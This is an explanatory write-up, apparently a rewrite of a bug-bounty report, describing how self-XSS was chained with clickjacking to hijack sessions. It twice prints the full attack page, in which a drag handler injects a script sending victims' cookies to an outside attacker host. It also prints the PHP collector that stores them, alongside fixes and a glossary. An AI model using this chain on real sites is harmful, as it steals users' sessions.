Chaining self XSS with UI redressing leading to session hijacking
The application contained a self-XSS that on its own had no impact, and it also lacked the X-Frame-Options header, making it vulnerable to clickjacking. By chaining the two, the author could trick a victim into dragging a crafted element so the self-XSS executed and sent the victim's cookies to an attacker-controlled server, allowing session hijacking.
Published on medium.com
{{media:0}}
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This write-up describes a chain built on a web application the author was testing. The report does not name the application or the product, and it does not describe the feature that contained the vulnerable input. What it does say is that the application reflected a payload back to the same user who submitted it, a self-XSS with no impact on its own, and that the application did not send the X-Frame-Options header, which made it frameable.
The author's goal was to turn the self-XSS into something that affects other users. The result is a clickjacking page that tricks a victim into dragging an image, which drops a script into the framed application and sends the victim's cookies to an attacker-controlled host.
Setup
No accounts, roles, tools or versions are described. The only infrastructure the report shows is an attacker-controlled domain, armaanpathan.pe.hu, used to receive the stolen cookies, and a PHP script on it that appends them to a text file. The victim side is a browser that loads the attacker's HTML page, with the target application loaded in an iframe.
Two preconditions are visible in the report:
- The target page reflects a script payload back to the user who submits it (self-XSS).
- The target page can be framed, because it does not send
X-Frame-Options.
Finding it
While testing the application, the author found a self-XSS. On its own this has no impact, so the next step was to look for a way to make another user trigger it. The author first looked for CSRF on the vulnerable page and did not find any. The author then noticed that the application was not using the X-Frame-Options header and checked for clickjacking, and the application was vulnerable to it.
The decision was to chain the self-XSS with the clickjacking: the victim would be induced to interact with the framed application and paste the payload into the vulnerable field themselves.
Exploitation
Step 1: the clickjacking page
The attacker page presents a drag-and-drop game. A draggable image carries the payload in its ondragstart handler, and the target application is loaded in a transparent iframe positioned over the page. The full HTML from the report:
<html>
<head><title>Poc</title></head>
<body bgcolor=”gray”>
<h1 align=”center”>DRAG N DROP GAME</h1>
<br><br><br>
<img src=”[https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSi0I3s6J4VZohcVZbzUzJ-g-y722W8jqyo4g1lc0HhM9SH9WN9](https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSi0I3s6J4VZohcVZbzUzJ-g-y722W8jqyo4g1lc0HhM9SH9WN9)" draggable=true id=drag ondragstart=”event.dataTransfer.setData(‘text/plain’,’<script>location=`[http://armaanpathan.pe.hu/cookies.php?cookie=`+btoa(document.cookie)](http://armaanpathan.pe.hu/cookies.php?cookie=`+btoa(document.cookie%29)</script>')”>
<br><br><br>
<style type=”text/css”>
iframe {
width: 800px;
height: 650px;
position: absolute;
top: 2; right: 10;
filter: alpha(opacity=50);
opacity: 0.00 ;
</style>
<style type=”text/css”>
h2{
position: absolute;
top: 420; right: 30;
}
</style>
<iframe src=”www.victim.com"></iframe>
<H2>DRAG THE IMAGE HERE</H2>
</html>
The important parts:
- The
imgelement isdraggable=trueand itsondragstarthandler callsevent.dataTransfer.setData('text/plain', ...)with a<script>element as the dragged data. The script setslocationtohttp://armaanpathan.pe.hu/cookies.php?cookie=followed bybtoa(document.cookie), so the victim's cookies are Base64-encoded into the query string. - The
iframerule setsopacity: 0.00(withfilter: alpha(opacity=50)for older browsers), so the framed application is invisible, and positions it absolutely attop: 2; right: 10with a size of 800 by 650 pixels. - The
h2rule positions the instruction textDRAG THE IMAGE HEREabsolutely attop: 420; right: 30, so the instruction sits over the invisible frame. - The iframe loads
www.victim.com, the placeholder for the target application.
Step 2: the victim drags the payload into the framed field
The page presents a drag-and-drop game with an image and the instruction DRAG THE IMAGE HERE. Following the instruction, the victim drags the image and drops it onto the invisible framed application, landing on the vulnerable input. The dragged text/plain data carries the <script> element, which is the payload the self-XSS reflects.
Step 3: the cookie collector
The receiving endpoint is a PHP script on the attacker's host. The code from the report:
<?php
$c=$_GET[‘cookie’];
file_put_contents(“cookies.txt”,$c . "\n\n",FILE_APPEND);
?>
It reads the cookie query parameter, which holds the Base64-encoded cookie string produced by btoa(document.cookie), and appends it to cookies.txt on the attacker's server, followed by two newlines. Each victim's cookies are therefore stored on separate lines in the same file.


The report states that the author was able to hijack any user's sessions.

A proof-of-concept video is referenced in the report but is not reproduced here.
Root cause
Two weaknesses combine:
- The application reflects user input into a context where a
<script>element executes, without sanitising or encoding it. On its own this is self-XSS, because only the user who submits the value triggers it. - The application does not send
X-Frame-Options, so any site can frame it. Combined with a transparent iframe and a drag-and-drop interaction, an attacker can make a victim deliver the payload into the vulnerable field themselves, in the victim's own authenticated session.
The report does not describe any server-side or client-side defence that was present and bypassed. The absence of X-Frame-Options is the only framing defence discussed.
Impact
Under the two conditions above, an attacker who can get a victim to visit the attacker's page and follow the drag instruction can execute script in the victim's session on the target application and exfiltrate document.cookie to a server the attacker controls. The author states that any user's sessions could be hijacked this way. The attack also requires user interaction, specifically the drag and drop.
Fix
No fix is described in the report. The changes that would address the chain are:
- Send
X-Frame-Options: DENYorSAMEORIGIN, or aContent-Security-Policyframe-ancestorsdirective, on pages that should not be framed. - Stop reflecting user input into an executable context: encode or sanitise the vulnerable field so that a
<script>element cannot execute. - Mark session cookies
HttpOnlyso thatdocument.cookiecannot read them, which limits what the injected script can exfiltrate.
Variants to test
- Framing without
X-Frame-Options: load a sensitive page in an iframe from another origin. A positive result is the page rendering inside the frame, which makes clickjacking and drag-and-drop chains possible. - Self-XSS in a reflected field: submit a script payload into a field that reflects the value back. A positive result is the script executing for the submitting user, which is the raw material for a chain.
- Drag-and-drop data transfer: check whether a framed application accepts dropped
text/plaincontent into an input. A positive result is the dropped value appearing in the field, which lets an attacker deliver a payload without the victim typing it. - Cookie readability: check whether session cookies are visible to
document.cookie. A positive result is the session identifier appearing in the string, which means an injected script can send it off-site. - CSRF on the vulnerable page: the author looked for this and did not find it, but it is worth checking on other targets, since a CSRF that writes the payload would remove the need for the drag interaction.
What happened, in plain words
A security researcher was testing a website and found a bug that, on its own, was useless. The site would take whatever text a user typed into a certain field and show it back to that same user. If the text was a small program (a script), the browser would run it. But only the person who typed it would see it run, so nobody else was harmed. This kind of bug is called self-XSS: cross-site scripting that only fires for the person who submits it.
The researcher wanted to turn this harmless bug into something that could affect other people. The plan was to make a victim deliver the script into that field without realising it, inside the victim's own logged-in session. To do that, the researcher needed a second weakness.
First the researcher looked for CSRF (cross-site request forgery), a bug where another site can make a logged-in user's browser send a request the user did not intend. There was none on the vulnerable page. Then the researcher noticed the site did not send a particular security header, X-Frame-Options, which is the header a site uses to say "other websites may not put me inside a frame". Without it, any other website can load the target site inside a small window (an iframe) on its own page. That makes clickjacking possible: tricking a user into clicking or interacting with something they cannot properly see.
The researcher combined the two. The attacker's page shows a simple drag-and-drop game with an image and the instruction to drag it. Behind the image, invisible, sits the real target website in an iframe. The attacker's page carries a hidden script in the drag data, so a victim who drops the image delivers the payload into the framed application. Cookies are the small pieces of data a site stores in your browser to remember who you are; if an attacker gets your session cookie, they can often act as you. The researcher reports being able to hijack any user's session this way.
The two ingredients
Before any code, it helps to name the two things that had to be true for this attack to work. The report shows both as preconditions:
- The target page reflects a script back to the user who submits it. "Reflects" means the site takes your input and prints it back on the page. If the input is a
<script>element and the site does not clean it up (sanitise or encode it), the browser treats it as code and runs it. Because only the submitting user triggers it, this is self-XSS and has no impact alone. - The target page can be framed. A site can tell browsers "do not let other sites embed me" by sending the
X-Frame-Optionsresponse header. This site did not send it, so any other website could load it inside an iframe.
Think of the first as a door that only opens from the inside, and the second as a way to push someone through that door without them noticing.
Finding it
The researcher was testing a web application (the report does not name it or the feature involved) and found the self-XSS. Since it had no impact by itself, the next question was how to make another user trigger it. The researcher first checked for CSRF on the vulnerable page and found none. Then the researcher noticed the missing X-Frame-Options header and tested for clickjacking, and the application was vulnerable.
The decision was to chain the two: the victim would be induced to interact with the framed application and deliver the payload into the vulnerable field themselves, inside their own logged-in session.
Step 1: the clickjacking page
The attacker hosts an HTML page that looks like a game. It contains a draggable image whose drag handler carries the payload, and it loads the target application in a transparent iframe placed over the page. Here is the full HTML from the report:
<html>
<head><title>Poc</title></head>
<body bgcolor=”gray”>
<h1 align=”center”>DRAG N DROP GAME</h1>
<br><br><br>
<img src=”[https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSi0I3s6J4VZohcVZbzUzJ-g-y722W8jqyo4g1lc0HhM9SH9WN9](https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSi0I3s6J4VZohcVZbzUzJ-g-y722W8jqyo4g1lc0HhM9SH9WN9)" draggable=true id=drag ondragstart=”event.dataTransfer.setData(‘text/plain’,’<script>location=`[http://armaanpathan.pe.hu/cookies.php?cookie=`+btoa(document.cookie)](http://armaanpathan.pe.hu/cookies.php?cookie=`+btoa(document.cookie%29)</script>')”>
<br><br><br>
<style type=”text/css”>
iframe {
width: 800px;
height: 650px;
position: absolute;
top: 2; right: 10;
filter: alpha(opacity=50);
opacity: 0.00 ;
</style>
<style type=”text/css”>
h2{
position: absolute;
top: 420; right: 30;
}
</style>
<iframe src=”www.victim.com”></iframe>
<H2>DRAG THE IMAGE HERE</H2>
</html>
Line by line, in plain words:
<html>,<head><title>Poc</title></head>,<body bgcolor=”gray”>: the usual skeleton of a web page. The title shown in the browser tab isPoc(proof of concept), and the page background is grey.<h1 align=”center”>DRAG N DROP GAME</h1>: a large heading that makes the page look like a game.<br><br><br>: a few line breaks, just spacing.- The
<img ...>tag is the heart of the trick.draggable=truemakes the image draggable.ondragstart=”...”is code that runs the moment the user starts dragging the image. Inside it,event.dataTransfer.setData('text/plain', ...)attaches data to the drag: whatever the user drops the image onto will receive that data as plain text. The data being attached is a<script>element. When the browser runs that script, it setslocation(the current page address) tohttp://armaanpathan.pe.hu/cookies.php?cookie=followed bybtoa(document.cookie).document.cookieis the browser's way of reading the cookies for the current page, andbtoa(...)encodes that text into Base64, a way of writing any text using only safe characters so it can travel in a URL. In short: the victim's cookies get packed into a URL pointing at the attacker's server. - The first
<style type=”text/css”>block styles the iframe:width: 800px; height: 650px;gives it a size,position: absolute; top: 2; right: 10;pins it near the top right of the page, andopacity: 0.00makes it completely invisible.filter: alpha(opacity=50)is an older-browser equivalent. The framed site is there, but the victim cannot see it. - The second
<style>block positions theh2heading attop: 420; right: 30, so the instruction text sits over the invisible frame. <iframe src=”www.victim.com”></iframe>loads the target application inside the invisible frame.www.victim.comis a placeholder for the real target.<H2>DRAG THE IMAGE HERE</H2>is the instruction the victim reads.


Step 2: the victim drags the payload into the framed field
The attacker's page shows a heading DRAG N DROP GAME, an image, and the text DRAG THE IMAGE HERE. Following the instruction, the victim drags the image and drops it onto what looks like empty space, which is actually the invisible framed application, right on top of the vulnerable input field. The browser delivers the dragged text/plain data, the <script> element, into that field. When the application reflects the value back, the script runs in the origin of the target application. "Origin" here means the site's identity in the browser: scripts running in the target's origin can read the target's cookies and act as the logged-in user. That is why the self-XSS stops being harmless and becomes a real XSS in the victim's session.
Step 3: the cookie collector
The URL the script sends the victim to points at a PHP script on the attacker's server. PHP is a programming language commonly used for web servers. The code from the report:
<?php
$c=$_GET[‘cookie’];
file_put_contents(“cookies.txt”,$c . "\n\n",FILE_APPEND);
?>
Line by line:
<?phpand?>mark where the PHP code starts and ends.$c=$_GET[‘cookie’];reads the value of thecookieparameter from the URL's query string (the part after the?) and stores it in a variable called$c. That value is the Base64-encoded cookie string the victim's browser produced withbtoa(document.cookie).file_put_contents(“cookies.txt”,$c . "\n\n",FILE_APPEND);writes that value to a file namedcookies.txton the attacker's server.FILE_APPENDmeans "add to the end instead of overwriting", and"\n\n"adds two line breaks after each entry, so every victim's cookies end up on their own lines in the same file.
The report states that the author was able to hijack any user's sessions.

A proof-of-concept video is referenced in the report but is not reproduced here.
Why it works: the root cause
Two weaknesses combine:
- The application reflects user input into a place where a
<script>element executes, without sanitising or encoding it. Alone, this is self-XSS, because only the user who submits the value triggers it. - The application does not send
X-Frame-Options, so any site can frame it. With a transparent iframe and a drag-and-drop interaction, an attacker can make a victim deliver the payload into the vulnerable field themselves, in the victim's own authenticated session.
The report does not describe any defence that was present and bypassed. The absence of X-Frame-Options is the only framing defence discussed.
What the attacker gains
Under those two conditions, an attacker who gets a victim to visit the attacker's page and follow the drag instruction can run script in the victim's session on the target application and send document.cookie to a server the attacker controls. The author states that any user's sessions could be hijacked this way. How much that is worth depends on what the stolen cookies grant: if session cookies are not marked HttpOnly (a flag that hides a cookie from document.cookie), they are readable by script and can be replayed by the attacker. The attack also needs the victim to interact, specifically to drag and drop.
How to stop it
No fix is described in the report. The changes that would break the chain are:
- Send
X-Frame-Options: DENYorSAMEORIGIN, or aContent-Security-Policyframe-ancestorsdirective, on pages that should not be framed. This tells browsers to refuse to embed the page elsewhere. - Stop reflecting user input into an executable context: encode or sanitise the vulnerable field so a
<script>element cannot run. - Mark session cookies
HttpOnlysodocument.cookiecannot read them, which limits what an injected script can steal.
Things worth testing on other sites
- Framing without
X-Frame-Options: load a sensitive page in an iframe from another origin. A positive result is the page rendering inside the frame, which makes clickjacking and drag-and-drop chains possible. - Self-XSS in a reflected field: submit a script payload into a field that reflects the value back. A positive result is the script running for the submitting user, which is the raw material for a chain.
- Drag-and-drop data transfer: check whether a framed application accepts dropped
text/plaincontent into an input. A positive result is the dropped value appearing in the field, which lets an attacker deliver a payload without the victim typing it. - Cookie readability: check whether session cookies are visible to
document.cookie. A positive result is the session identifier appearing in the string, which means an injected script can send it off-site. - CSRF on the vulnerable page: the author looked for this and did not find it, but it is worth checking on other targets, since a CSRF that writes the payload would remove the need for the drag interaction.
Glossary
- Self-XSS: cross-site scripting that only runs for the user who submits the payload, so it has no impact on other users by itself.
- CSRF (cross-site request forgery): a bug where another site can make a logged-in user's browser send a request the user did not intend.
- Clickjacking: tricking a user into clicking or interacting with something they cannot properly see, usually a page hidden under a decoy.
- UI redressing: another name for clickjacking; disguising one interface as another to capture user interaction.
- Iframe: a window inside a web page that loads another page.
X-Frame-Options: a response header a site sends to tell browsers whether other sites may embed it in a frame.Content-Security-Policyframe-ancestors: a newer way to tell browsers which sites may frame a page.- Response header: extra information a web server sends alongside a page.
- Origin: the identity of a site in the browser (scheme, host and port); scripts from one origin can read that origin's data.
- Cookie: a small piece of data a site stores in your browser to remember you, often including a session identifier.
- Session hijacking: stealing a user's session cookie and using it to act as that user.
HttpOnly: a cookie flag that stops JavaScript from reading the cookie viadocument.cookie.document.cookie: the browser API that reads and writes cookies for the current page.btoa: a browser function that encodes text as Base64.- Base64: a way of representing any data using only safe text characters, often used to put data in URLs.
- Query string / query parameter: the part of a URL after
?, made of name=value pairs. ondragstart: an HTML event handler that runs when a user starts dragging an element.dataTransfer.setData: the browser API used to attach data to a drag operation so the drop target receives it.text/plain: a data type meaning ordinary text.draggable=true: an HTML attribute that makes an element draggable.opacity: how transparent an element is;0.00means fully invisible.position: absolute: CSS that places an element at a fixed spot on the page.- PHP: a programming language commonly used to build web server scripts.
$_GET: the PHP way of reading values from the URL's query string.file_put_contents: a PHP function that writes data to a file.FILE_APPEND: a PHP flag meaning "add to the end of the file instead of replacing it".- Sanitise / encode: clean up or transform user input so it cannot be treated as code.
- Reflect: print user input back onto the page.
- Payload: the piece of code an attacker wants the victim's browser to run.
- PoC (proof of concept): a minimal demonstration that a vulnerability is real.